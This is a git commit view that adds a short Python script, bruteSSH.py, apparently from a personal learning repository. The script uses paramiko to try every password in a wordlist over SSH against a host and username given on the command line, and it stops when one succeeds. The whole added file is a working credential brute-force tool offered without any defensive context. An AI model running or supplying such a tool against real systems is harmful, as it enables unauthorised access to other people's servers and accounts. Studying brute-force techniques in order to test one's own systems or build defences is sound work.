diff options
| author | jerome <jerome@xlinfo.fr> | 2025-10-12 17:41:43 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2025-10-12 17:41:43 +0200 |
| commit | ec8893a097a6c0fffebd7db9e4a5568a3bf4df47 (patch) | |
| tree | ffebe60c3aa98df05d14aec8cea937430272c1ec /bruteforce/bruteSSH.py | |
| parent | ba41fa46e69dbb264dfbed1b9fca5daab44a07c7 (diff) | |
| download | python-ec8893a097a6c0fffebd7db9e4a5568a3bf4df47.tar.gz python-ec8893a097a6c0fffebd7db9e4a5568a3bf4df47.zip | |
organisation
Diffstat (limited to 'bruteforce/bruteSSH.py')
| -rw-r--r-- | bruteforce/bruteSSH.py | 30 |
1 files changed, 30 insertions, 0 deletions
diff --git a/bruteforce/bruteSSH.py b/bruteforce/bruteSSH.py new file mode 100644 index 0000000..32c93cb --- /dev/null +++ b/bruteforce/bruteSSH.py @@ -0,0 +1,30 @@ +import paramiko, sys + +def bruteforce(hostname, username, password): + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + client.connect(hostname, username=username, password=password) + except paramiko.ssh_exception.AuthenticationException: + print("erreur : ",password) + #pass + else: + print("trouvé : ",password) + return True + finally: + client.close() + +if __name__ == "__main__": + hostname = sys.argv[1] + username = sys.argv[2] + dico = sys.argv[3] + try: + with open(dico, 'r') as wordlist: + for ligne in wordlist.readlines(): + password=ligne.strip() + if bruteforce(hostname,username,password)==True: + sys.exit() + except IndexError: + print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments") + + |
